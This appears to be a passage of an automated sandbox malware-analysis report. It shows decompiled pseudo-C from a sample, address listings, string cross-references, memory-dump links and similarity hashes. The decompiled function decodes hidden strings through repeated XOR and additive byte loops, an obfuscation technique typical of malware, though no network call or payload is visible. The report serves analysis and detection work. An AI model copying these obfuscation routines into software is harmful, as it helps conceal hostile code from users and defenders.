				if(E00423260(_t624, _t725, _t728) != 0) {
					 *(_t728 + 0x18c) = _t725;
				}
				 *((intOrPtr*)(_t728 + 0x14c)) = CreateEventA( *(_t728 + 0x18c), 1, 0,  &_v128);
				 *((intOrPtr*)(_t728 + 0x15c)) = CreateEventA( *(_t728 + 0x18c), 1, 0, _t624);
				 *((intOrPtr*)(_t728 + 0x158)) = CreateEventA( *(_t728 + 0x18c), 1, 0,  &_v96);
				 *((intOrPtr*)(_t728 + 0x150)) = CreateEventA( *(_t728 + 0x18c), 1, 0,  &_v112);
				 *((intOrPtr*)(_t728 + 0x154)) = CreateEventA( *(_t728 + 0x18c), 1, 0,  &_v164);
				 *((intOrPtr*)(_t728 + 0x160)) = 0;
				E004237E0();
				return E00424873(_t728, _v28);
			}

0x0041e3a0
0x0041e3a6
0x0041e3ae
0x0041e3b6
0x0041e3b8
0x0041e3bd
0x0041e3c2
0x0041e3c7
0x0041e3cc
0x0041e3d1
0x0041e3d6
0x0041e3db
0x0041e3e0
0x0041e3e5
0x0041e3ea
0x0041e3ef
0x0041e3f4
0x0041e3f9
0x0041e3fe
0x0041e403
0x0041e408
0x0041e40d
0x0041e412
0x0041e417
0x0041e41c
0x0041e421
0x0041e426
0x0041e42b
0x0041e430
0x0041e435
0x0041e43a
0x0041e43f
0x0041e444
0x0041e449
0x0041e44e
0x0041e450
0x0041e462
0x0041e46c
0x0041e476
0x0041e480
0x0041e488
0x0041e492
0x0041e496
0x0041e499
0x0041e49e
0x0041e4be
0x0041e4c4
0x0041e4cc
0x0041e4d4
0x0041e4db
0x0041e4e3
0x0041e4eb
0x0041e4f3
0x0041e4fb
0x0041e503
0x0041e50b
0x0041e513
0x0041e51b
0x0041e523
0x0041e52b
0x0041e533
0x0041e53b
0x0041e543
0x0041e548
0x0041e54c
0x0041e551
0x0041e555
0x0041e55a
0x0041e55e
0x0041e563
0x0041e568
0x0041e56d
0x0041e572
0x0041e577
0x0041e57c
0x0041e581
0x0041e586
0x0041e58b
0x0041e590
0x0041e595
0x0041e59a
0x0041e59f
0x0041e5a4
0x0041e5a9
0x0041e5ae
0x0041e5b3
0x0041e5b8
0x0041e5bd
0x0041e5c2
0x0041e5c7
0x0041e5cc
0x0041e5d1
0x0041e5d6
0x0041e5db
0x0041e5e0
0x0041e5e5
0x0041e5ea
0x0041e5ef
0x0041e5f4
0x0041e5f9
0x0041e5fe
0x0041e603
0x0041e608
0x0041e60d
0x0041e612
0x0041e617
0x0041e61c
0x0041e621
0x0041e626
0x0041e62b
0x0041e630
0x0041e63e
0x0041e648
0x0041e64c
0x0041e65a
0x0041e668
0x0041e672
0x0041e676
0x0041e679
0x0041e67e
0x0041e68f
0x0041e693
0x0041e6a1
0x0041e6a7
0x0041e6af
0x0041e6b7
0x0041e6be
0x0041e6c6
0x0041e6ce
0x0041e6d6
0x0041e6de
0x0041e6e6
0x0041e6ee
0x0041e6f6
0x0041e6fe
0x0041e706
0x0041e70e
0x0041e716
0x0041e71e
0x0041e726
0x0041e72b
0x0041e730
0x0041e735
0x0041e73a
0x0041e73f
0x0041e744
0x0041e749
0x0041e74e
0x0041e753
0x0041e758
0x0041e75d
0x0041e762
0x0041e767
0x0041e76c
0x0041e771
0x0041e778
0x0041e77d
0x0041e782
0x0041e787
0x0041e78c
0x0041e791
0x0041e796
0x0041e79b
0x0041e7a0
0x0041e7a5
0x0041e7aa
0x0041e7ae
0x0041e7b3
0x0041e7b8
0x0041e7bd
0x0041e7c2
0x0041e7c7
0x0041e7cc
0x0041e7d1
0x0041e7d6
0x0041e7db
0x0041e7e0
0x0041e7e5
0x0041e7ea
0x0041e7ef
0x0041e7f4
0x0041e7f9
0x0041e7fe
0x0041e803
0x0041e808
0x0041e80d
0x0041e812
0x0041e817
0x0041e820
0x0041e82e
0x0041e838
0x0041e83c
0x0041e84e
0x0041e860
0x0041e864
0x0041e867
0x0041e86b
0x0041e881
0x0041e888
0x0041e890
0x0041e898
0x0041e8a0
0x0041e8a8
0x0041e8b0
0x0041e8b8
0x0041e8c0
0x0041e8c8
0x0041e8d0
0x0041e8d8
0x0041e8e0
0x0041e8e8
0x0041e8f0
0x0041e8f8
0x0041e900
0x0041e908
0x0041e910
0x0041e915
0x0041e91a
0x0041e91f
0x0041e924
0x0041e929
0x0041e92e
0x0041e933
0x0041e938
0x0041e93d
0x0041e942
0x0041e947
0x0041e94c
0x0041e951
0x0041e956
0x0041e95b
0x0041e960
0x0041e965
0x0041e96e
0x0041e972
0x0041e97a
0x0041e97f
0x0041e983
0x0041e988
0x0041e98d
0x0041e991
0x0041e996
0x0041e99b
0x0041e9a0
0x0041e9a5
0x0041e9aa
0x0041e9af
0x0041e9b4
0x0041e9b8
0x0041e9bd
0x0041e9c2
0x0041e9c7
0x0041e9cc
0x0041e9d1
0x0041e9d6
0x0041e9da
0x0041e9df
0x0041e9e4
0x0041e9e9
0x0041e9ee
0x0041e9f3
0x0041e9f8
0x0041e9fd
0x0041ea02
0x0041ea07
0x0041ea0b
0x0041ea0f
0x0041ea14
0x0041ea19
0x0041ea1e
0x0041ea23
0x0041ea2a
0x0041ea2f
0x0041ea34
0x0041ea39
0x0041ea40
0x0041ea44
0x0041ea4c
0x0041ea54
0x0041ea5c
0x0041ea64
0x0041ea78
0x0041ea7b
0x0041ea7f
0x0041ea84
0x0041ea89
0x0041ea8e
0x0041ea93
0x0041ea98
0x0041ea9d
0x0041eaa2
0x0041eaa7
0x0041eaac
0x0041eab4
0x0041eabc
0x0041eac3
0x0041eacb
0x0041ead3
0x0041eadb
0x0041eae3
0x0041eae8
0x0041eaed
0x0041eaf2
0x0041eaf7
0x0041eafc
0x0041eb01
0x0041eb06
0x0041eb0b
0x0041eb10
0x0041eb15
0x0041eb1a
0x0041eb1f
0x0041eb24
0x0041eb29
0x0041eb2e
0x0041eb30
0x0041eb34
0x0041eb3c
0x0041eb44
0x0041eb4c
0x0041eb54
0x0041eb68
0x0041eb6b
0x0041eb6f
0x0041eb78
0x0041eb7f
0x0041eb89
0x0041eb8e
0x0041eb93
0x0041eb98
0x0041eb9d
0x0041eba2
0x0041eba7
0x0041ebac
0x0041ebb1
0x0041ebb6
0x0041ebbb
0x0041ebc0
0x0041ebc5
0x0041ebca
0x0041ebcf
0x0041ebd4
0x0041ebd9
0x0041ebde
0x0041ebe3
0x0041ebe8
0x0041ebed
0x0041ebf2
0x0041ebf7
0x0041ebfc
0x0041ec01
0x0041ec06
0x0041ec0b
0x0041ec10
0x0041ec15
0x0041ec1a
0x0041ec1f
0x0041ec24
0x0041ec29
0x0041ec2e
0x0041ec37
0x0041ec3c
0x0041ec41
0x0041ec46
0x0041ec4b
0x0041ec50
0x0041ec55
0x0041ec5a
0x0041ec5f
0x0041ec64
0x0041ec69
0x0041ec6d
0x0041ec72
0x0041ec77
0x0041ec7c
0x0041ec81
0x0041ec86
0x0041ec8b
0x0041ec90
0x0041ec95
0x0041ec9a
0x0041ec9f
0x0041eca4
0x0041eca9
0x0041ecae
0x0041ecb3
0x0041ecb8
0x0041ecbd
0x0041ecc2
0x0041ecc7
0x0041eccc
0x0041ecd0
0x0041ecde
0x0041ecec
0x0041ecf0
0x0041ecfa
0x0041ed10
0x0041ed22
0x0041ed26
0x0041ed29
0x0041ed2d
0x0041ed36
0x0041ed3d
0x0041ed47
0x0041ed4c
0x0041ed51
0x0041ed56
0x0041ed5b
0x0041ed60
0x0041ed65
0x0041ed6a
0x0041ed6f
0x0041ed74
0x0041ed79
0x0041ed7e
0x0041ed83
0x0041ed88
0x0041ed8d
0x0041ed92
0x0041ed97
0x0041ed9c
0x0041eda1
0x0041eda6
0x0041edab
0x0041edb0
0x0041edb5
0x0041edba
0x0041edbf
0x0041edc4
0x0041edc9
0x0041edce
0x0041edd3
0x0041edd8
0x0041eddd
0x0041ede2
0x0041edec
0x0041edee
0x0041edf4
0x0041edfc
0x0041ee02
0x0041ee08
0x0041ee0e
0x0041ee14
0x0041ee26
0x0041ee34
0x0041ee35
0x0041ee36
0x0041ee3c
0x0041ee3d
0x0041ee3e
0x0041ee44
0x0041ee4a
0x0041ee57
0x0041ee59
0x0041ee59
0x0041ee81
0x0041ee8f
0x0041eea6
0x0041eec6
0x0041eece
0x0041eed4
0x0041eeda
0x0041eef7

Strings

:, xrefs: 0041E59A
~, xrefs: 0041E956
p, xrefs: 0041E51B
Z, xrefs: 0041ED4C
Y:{, xrefs: 0041E648
O, xrefs: 0041EBA2
), xrefs: 0041EAC3
J, xrefs: 0041E900
0, xrefs: 0041EDB0
e, xrefs: 0041E8E0
^, xrefs: 0041EBBB
|,T, xrefs: 0041ECF0
A, xrefs: 0041E50B
e, xrefs: 0041EBCA
T, xrefs: 0041E778
Y, xrefs: 0041E908
E, xrefs: 0041E8B8
^, xrefs: 0041ED79
`, xrefs: 0041EC90
p, xrefs: 0041E586
|,T, xrefs: 0041E838
N, xrefs: 0041EADB
3, xrefs: 0041EDBA
N, xrefs: 0041E996
,, xrefs: 0041EC3C
', xrefs: 0041E5B8
^, xrefs: 0041ECA4
E, xrefs: 0041ED6F
G@,, xrefs: 0041E3A6
z, xrefs: 0041E5CC
N, xrefs: 0041E7BD
, xrefs: 0041EDC9
s, xrefs: 0041E8B0
,, xrefs: 0041EAA2
O, xrefs: 0041ED60
v, xrefs: 0041E4EB
{, xrefs: 0041E595
=, xrefs: 0041E9D1
H, xrefs: 0041E621
3, xrefs: 0041E73A
E, xrefs: 0041E7C2
0, xrefs: 0041E3F9
, xrefs: 0041EDA1
0, xrefs: 0041E5D6
L, xrefs: 0041E888
w, xrefs: 0041E749
|, xrefs: 0041E791
4, xrefs: 0041E3E0
}, xrefs: 0041E533
,, xrefs: 0041E77D
', xrefs: 0041E3DB
4, xrefs: 0041E5BD
E, xrefs: 0041EBB1
v, xrefs: 0041E6CE
`, xrefs: 0041E983
P, xrefs: 0041E7A0
P, xrefs: 0041EC5F
}, xrefs: 0041E716
C, xrefs: 0041E960
m, xrefs: 0041E9CC
Y:{, xrefs: 0041E46C
^, xrefs: 0041EB06
T, xrefs: 0041EC37
|, xrefs: 0041EA9D
Z, xrefs: 0041EB8E
p, xrefs: 0041E6FE
;, xrefs: 0041EA19
|, xrefs: 0041EC50
&, xrefs: 0041ECA9
a, xrefs: 0041E9DA
z, xrefs: 0041E3EF
L, xrefs: 0041ED51
|,T, xrefs: 0041E650, 0041EB40, 0041E45E
s, xrefs: 0041EBAC
,, xrefs: 0041E796
,, xrefs: 0041EA89
T, xrefs: 0041EA84
A, xrefs: 0041E6EE
Z, xrefs: 0041EC95
3, xrefs: 0041E9B8
s, xrefs: 0041ED6A
O, xrefs: 0041E8A0
e, xrefs: 0041ED88
:, xrefs: 0041E75D
E, xrefs: 0041E93D
:, xrefs: 0041E3BD
^, xrefs: 0041E8C8
6, xrefs: 0041EDBF
L, xrefs: 0041EB93
I, xrefs: 0041E523
?, xrefs: 0041E9A0
|, xrefs: 0041EA8E
I, xrefs: 0041E706
), xrefs: 0041E7AE
P, xrefs: 0041EAAC
8, xrefs: 0041E94C
0, xrefs: 0041EA02
Y, xrefs: 0041E91F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $ $&$'$'$)$)$,$,$,$,$,$0$0$0$0$3$3$3$4$4$6$8$:$:$:$;$=$?$A$A$C$E$E$E$E$E$G@,$H$I$I$J$L$L$L$N$N$N$O$O$O$P$P$P$T$T$T$Y$Y$Y:{$Y:{$Z$Z$Z$^$^$^$^$^$`$`$a$e$e$e$m$p$p$p$s$s$s$v$v$w$z$z${$|$|$|$|$|,T$|,T$|,T$}$}$~
API String ID: 0-3085416504
Opcode ID: 9ebe39ba551fc4c6687707c0188dc31044f6a9c45a0b78eaedfd32ae9359fd65
Instruction ID: 0544d4bd05e75d62e2756a487d0dc6e4d92f5e832a14f0b3da5a45c8b404d5bb
Opcode Fuzzy Hash: 9ebe39ba551fc4c6687707c0188dc31044f6a9c45a0b78eaedfd32ae9359fd65
Instruction Fuzzy Hash: 2072A62010C7C189D322D73C945878FFFD55BA7228F585A9DE1E85B3D3C2AA8249C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00409436, Relevance: 171.1, Strings: 136, Instructions: 1070
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00409436(void* __eax, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, intOrPtr _a372, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a417, char _a418, char _a419, char _a420, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a433, char _a434, char _a435, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a456, char _a464, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, char _a496, char _a497, char _a498, char _a499, char _a500, char _a501, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a513, char _a514, char _a515, char _a516, char _a517, char _a520, char _a521, char _a522, char _a523, char _a524, char _a525, char _a526, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a564, char _a565, char _a566, char _a567, char _a568, char _a569, char _a570, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a593, char _a594, char _a595, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a617, char _a618, char _a619, char _a620, char _a621, char _a622, char _a623, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a657, char _a658, char _a659, char _a660, char _a661, char _a662, char _a663, char _a664, char _a668, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a712, char _a713, char _a714, char _a715, char _a716, char _a717, char _a752, char _a753, char _a754, char _a755, char _a756, char _a757, char _a758, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a784, char _a785, char _a786, char _a787, char _a788, char _a789, char _a790, char _a791, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a844, char _a845, char _a846, char _a847, char _a848, char _a849, char _a850, char _a851, char _a852, char _a853, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t904;
				signed int _t905;
				void* _t906;
				void* _t907;
				intOrPtr _t909;
				void* _t910;
				intOrPtr _t911;
				void* _t912;
				void* _t913;
				void* _t915;
				void* _t916;
				void* _t917;
				intOrPtr _t918;
				void* _t919;
				void* _t922;
				void* _t923;
				void* _t924;
				void* _t928;
				void* _t932;
				intOrPtr _t934;
				intOrPtr _t935;
				void* _t936;
				void* _t937;
				void* _t938;
				intOrPtr _t940;
				intOrPtr _t946;
				void* _t947;
				void* _t948;
				intOrPtr _t949;
				void* _t950;
				void* _t951;
				void* _t952;
				void* _t953;
				intOrPtr _t955;
				void* _t956;
				void* _t961;
				intOrPtr _t964;
				intOrPtr _t965;
				void* _t966;
				void* _t967;
				intOrPtr _t970;
				void* _t974;
				char _t975;
				intOrPtr _t1011;
				void* _t1045;
				intOrPtr _t1139;
				intOrPtr _t1141;
				signed int _t1142;
				intOrPtr _t1144;
				void* _t1146;
				void* _t1147;
				void* _t1148;
				void* _t1149;
				void* _t1150;
				void* _t1152;
				void* _t1153;
				void* _t1154;
				void* _t1155;
				void* _t1156;

				_t904 = __eax;
				do {
					 *(_t1146 + _t904 + 0x1c8) =  *(_t1146 + _t904 + 0x1c8) ^  *(_t1146 + _t904 + 0x17c);
					_t904 = _t904 + 1;
				} while (_t904 < 5);
				_a520 = 6;
				_a521 = 0x34;
				_a522 = 0xa9;
				_a523 = 0x5f;
				_a524 = 3;
				_a525 = 0x7d;
				_a526 = 0x83;
				_a380 = 0x68;
				_a381 = 0x5b;
				_a382 = 0xcb;
				_a383 = 0x30;
				_a384 = 0x67;
				_a385 = 4;
				_a386 = 0x83;
				_t905 = 0;
				do {
					 *(_t1146 + _t905 + 0x208) =  *(_t1146 + _t905 + 0x208) ^  *(_t1146 + _t905 + 0x17c);
					_t905 = _t905 + 1;
				} while (_t905 < 7);
				_a488 = 0xea;
				_a489 = 0xeb;
				_a490 = 0xeb;
				_a491 = 0xea;
				_a492 = 0xe1;
				_a493 = 0x84;
				_t906 = 0;
				do {
					 *(_t1146 + _t906 + 0x1e8) =  *(_t1146 + _t906 + 0x1e8) ^ 0x00000084;
					_t906 = _t906 + 1;
				} while (_t906 < 6);
				_a592 = 0xad;
				_a593 = 0xac;
				_a594 = 0xb1;
				_a595 = 0xa6;
				_a596 = 0xb3;
				_a597 = 0xaf;
				_a598 = 0xba;
				_a599 = 0xc3;
				_t907 = 0;
				do {
					 *(_t1146 + _t907 + 0x250) =  *(_t1146 + _t907 + 0x250) ^ 0x000000c3;
					_t907 = _t907 + 1;
				} while (_t907 < 8);
				_push(8);
				_push( &_a784);
				_a784 = 0x63;
				_a785 = 0xe4;
				_a786 = 0x61;
				_a787 = 0x26;
				_a788 = 0xb9;
				_a789 = 0xf7;
				_a790 = 0xbd;
				_a791 = 0xf3;
				_a380 = 0x64;
				_a381 = 0x17;
				_a382 = 0x76;
				_a383 = 0x1b;
				_a384 = 0x6b;
				_a385 = 7;
				_a386 = 0x62;
				_a387 = 0x11;
				_t909 = E00407370( &_a380);
				_t1147 = _t1146 + 8;
				_a120 = _t909;
				_a416 = 0x35;
				_a417 = 0x6a;
				_a418 = 0x1d;
				_a419 = 0xe8;
				_a420 = 0x88;
				_a380 = 0x46;
				_a381 = 0x1a;
				_a382 = 0x7c;
				_a383 = 0x85;
				_a384 = 0x88;
				_t910 = 0;
				do {
					 *(_t1147 + _t910 + 0x1a0) =  *(_t1147 + _t910 + 0x1a0) ^  *(_t1147 + _t910 + 0x17c);
					_t910 = _t910 + 1;
				} while (_t910 < 5);
				_push(7);
				_push( &_a752);
				_a752 = 0xab;
				_a753 = 0x67;
				_a754 = 0xda;
				_a755 = 0x4a;
				_a756 = 0xa1;
				_a757 = 0xf2;
				_a758 = 0x69;
				_a380 = 0x3c;
				_a381 = 0x49;
				_a382 = 0x39;
				_a383 = 0x5d;
				_a384 = 0x3c;
				_a385 = 0x48;
				_a386 = 0x2d;
				_t911 = E00407370( &_a380);
				_t1148 = _t1147 + 8;
				_a88 = _t911;
				_a400 = 0x17;
				_a401 = 4;
				_a402 = 0xdd;
				_a403 = 0xdb;
				_a404 = 0x3c;
				_a380 = 0x29;
				_a381 = 0x5d;
				_a382 = 0x99;
				_a383 = 0x95;
				_a384 = 0xc4;
				_t912 = 0;
				do {
					 *((char*)(_t1148 + _t912 + 0x190)) =  *((intOrPtr*)(_t1148 + _t912 + 0x190)) +  *((intOrPtr*)(_t1148 + _t912 + 0x17c));
					_t912 = _t912 + 1;
				} while (_t912 < 5);
				_a432 = 4;
				_a433 = 0x87;
				_a434 = 0xf7;
				_a435 = 0xd4;
				_a436 = 0x19;
				_a380 = 0x44;
				_a381 = 0xe1;
				_a382 = 0x98;
				_a383 = 0xbb;
				_a384 = 0x19;
				_t913 = 0;
				do {
					 *(_t1148 + _t913 + 0x1b0) =  *(_t1148 + _t913 + 0x1b0) ^  *(_t1148 + _t913 + 0x17c);
					_t913 = _t913 + 1;
				} while (_t913 < 5);
				_a617 = 0x53;
				_a621 = 0x53;
				_a616 = 0x29;
				_a618 = 0xf6;
				_a619 = 0x3e;
				_a620 = 0xc8;
				_a622 = 0x8b;
				_a623 = 0xa2;
				_a380 = 0x48;
				_a381 = 0x3d;
				_a382 = 0x8f;
				_a383 = 0x51;
				_a384 = 0xa6;
				_a385 = 0x36;
				_a386 = 0xcb;
				_a387 = 0xa2;
				_t915 = 0;
				do {
					 *(_t1148 + _t915 + 0x268) =  *(_t1148 + _t915 + 0x268) ^  *(_t1148 + _t915 + 0x17c);
					_t915 = _t915 + 1;
				} while (_t915 < 8);
				_a24 = 0x88;
				_a25 = 0x99;
				_a26 = 0x8e;
				_a27 = 0xea;
				_t916 = 0;
				do {
					 *(_t1148 + _t916 + 0x18) =  *(_t1148 + _t916 + 0x18) ^ 0x000000ea;
					_t916 = _t916 + 1;
				} while (_t916 < 4);
				_a472 = 0xd;
				_a473 = 0x1a;
				_a474 = 8;
				_a475 = 0x1c;
				_a476 = 0x2f;
				_a477 = 0x6f;
				_t917 = 0;
				do {
					 *(_t1148 + _t917 + 0x1d8) =  *(_t1148 + _t917 + 0x1d8) ^ 0x0000006f;
					_t917 = _t917 + 1;
				} while (_t917 < 6);
				_push(6);
				_push( &_a712);
				_a712 = 0x49;
				_a713 = 0xc5;
				_a714 = 0x38;
				_a715 = 0xa9;
				_a716 = 0x2d;
				_a717 = 0xd6;
				_a380 = 0xde;
				_a381 = 0xbd;
				_a382 = 0xdc;
				_a383 = 0xba;
				_a384 = 0xdf;
				_a385 = 0xba;
				_t918 = E00407370( &_a380);
				_t1149 = _t1148 + 8;
				_a128 = _t918;
				_a656 = 0x47;
				_a657 = 0x33;
				_a658 = 0x6c;
				_a659 = 7;
				_a660 = 0x66;
				_a661 = 0x81;
				_a662 = 0xfd;
				_a663 = 0xe8;
				_a664 = 0x5b;
				_a380 = 0x24;
				_a381 = 0x56;
				_a382 = 0x1e;
				_a383 = 0x73;
				_a384 = 0xf;
				_a385 = 0xe7;
				_a386 = 0x94;
				_a387 = 0x8b;
				_a388 = 0x5b;
				_t919 = 0;
				do {
					 *(_t1149 + _t919 + 0x290) =  *(_t1149 + _t919 + 0x290) ^  *(_t1149 + _t919 + 0x17c);
					_t919 = _t919 + 1;
				} while (_t919 < 9);
				_a844 = 0x25;
				_a845 = 0x4b;
				_a846 = 0xfd;
				_a847 = 0x36;
				_a848 = 0x86;
				_a849 = 0xac;
				_a850 = 0x3c;
				_a851 = 0;
				_a852 = 0xc3;
				_a853 = 0x49;
				_a380 = 0x49;
				_a381 = 0x83;
				_a382 = 0x74;
				_a383 = 0x5f;
				_a384 = 0xcd;
				_a385 = 0xf4;
				_a386 = 0x42;
				_a387 = 0x93;
				_a388 = 0x24;
				_a389 = 0x46;
				_a44 = E004073E0( &_a380, 0xa,  &_a844);
				_a476 = 0xda;
				_a477 = 0x71;
				_a478 = 0x65;
				_a479 = 0x2a;
				_a480 = 0xe4;
				_a481 = 0x15;
				_a376 = 0x8e;
				_a377 = 0xf4;
				_a378 = 7;
				_a379 = 0x46;
				_a380 = 0x5c;
				_a381 = 0xeb;
				_t922 = 0;
				do {
					 *((char*)(_t1149 + _t922 + 0x1e0)) =  *((intOrPtr*)(_t1149 + _t922 + 0x1e0)) +  *((intOrPtr*)(_t1149 + _t922 + 0x17c));
					_t922 = _t922 + 1;
				} while (_t922 < 6);
				_a496 = 0xe4;
				_a497 = 0xb1;
				_a498 = 0xf5;
				_a499 = 0x81;
				_a500 = 0x8f;
				_a501 = 0x5f;
				_a380 = 0x85;
				_a381 = 0xbd;
				_a382 = 0x71;
				_a383 = 0xee;
				_a384 = 0xb1;
				_a385 = 0xa1;
				_t923 = 0;
				do {
					 *((char*)(_t1149 + _t923 + 0x1f0)) =  *((intOrPtr*)(_t1149 + _t923 + 0x1f0)) +  *((intOrPtr*)(_t1149 + _t923 + 0x17c));
					_t923 = _t923 + 1;
				} while (_t923 < 6);
				_a512 = 0x31;
				_a513 = 0xec;
				_a514 = 0xde;
				_a515 = 0x4b;
				_a516 = 0xe6;
				_a517 = 0x37;
				_a380 = 0x3f;
				_a381 = 0x75;
				_a382 = 0x90;
				_a383 = 0x19;
				_a384 = 0x7b;
				_a385 = 0xc9;
				_t924 = 0;
				do {
					 *((char*)(_t1149 + _t924 + 0x200)) =  *((intOrPtr*)(_t1149 + _t924 + 0x200)) +  *((intOrPtr*)(_t1149 + _t924 + 0x17c));
					_t924 = _t924 + 1;
				} while (_t924 < 6);
				_a35 = 0xf0;
				_a392 = 0xf0;
				_a32 = 0x35;
				_a33 = 0x9d;
				_a34 = 0xdc;
				_a393 = 0xac;
				_a394 = 0xfa;
				_a395 = 0x45;
				_a96 = E004073E0( &_a392, 4,  &_a32);
				_a564 = 0x28;
				_a565 = 0x3b;
				_a566 = 0x2e;
				_a567 = 0x33;
				_a568 = 0x34;
				_a569 = 0x3d;
				_a570 = 0x5a;
				_t928 = 0;
				do {
					 *(_t1149 + _t928 + 0x238) =  *(_t1149 + _t928 + 0x238) ^ 0x0000005a;
					_t928 = _t928 + 1;
				} while (_t928 < 7);
				_a704 = 0x7a;
				_a705 = 0xb8;
				_a706 = 0x1e;
				_a707 = 0x91;
				_a708 = 0xf2;
				_a380 = 0xf2;
				_a381 = 0xe4;
				_a382 = 0x7a;
				_a383 = 0xdd;
				_a384 = 0x54;
				_a112 = E004073E0( &_a380, 5,  &_a704);
				_a404 = 0x29;
				_a405 = 0x6e;
				_a406 = 0x9e;
				_a407 = 0x34;
				_a408 = 0xd0;
				_a376 = 7;
				_a377 = 9;
				_a378 = 0xf1;
				_a379 = 0x42;
				_a380 = 0xd0;
				_t932 = 0;
				do {
					 *(_t1149 + _t932 + 0x198) =  *(_t1149 + _t932 + 0x198) ^  *(_t1149 + _t932 + 0x17c);
					_t932 = _t932 + 1;
				} while (_t932 < 5);
				_a380 = 0xd0;
				_push(5);
				_push( &_a688);
				_a688 = 0xdb;
				_a689 = 0x69;
				_a690 = 0x84;
				_a691 = 0x23;
				_a692 = 3;
				_a381 = 0xfe;
				_a382 = 0x93;
				_a383 = 0xfa;
				_a384 = 0x96;
				_t934 = E00407370( &_a380);
				_push(9);
				_push( &_a808);
				_a108 = _t934;
				_a808 = 0x12;
				_a809 = 0xa1;
				_a810 = 0x1d;
				_a811 = 0x83;
				_a812 = 0x74;
				_a813 = 0xe9;
				_a814 = 0x5b;
				_a815 = 0x5a;
				_a816 = 0x4b;
				_a380 = 0x93;
				_a381 = 0xf1;
				_a382 = 0x94;
				_a383 = 0xe6;
				_a384 = 0x8d;
				_a385 = 0xe8;
				_a386 = 0x84;
				_a387 = 0xe1;
				_a388 = 0x98;
				_t935 = E00407370( &_a380);
				_t1150 = _t1149 + 0x10;
				_a124 = _t935;
				_a624 = 0xbc;
				_a625 = 0xb0;
				_a626 = 0xb1;
				_a627 = 0xab;
				_a628 = 0xbe;
				_a629 = 0xbc;
				_a630 = 0xab;
				_a631 = 0xdf;
				_t936 = 0;
				do {
					 *(_t1150 + _t936 + 0x270) =  *(_t1150 + _t936 + 0x270) ^ 0x000000df;
					_t936 = _t936 + 1;
				} while (_t936 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
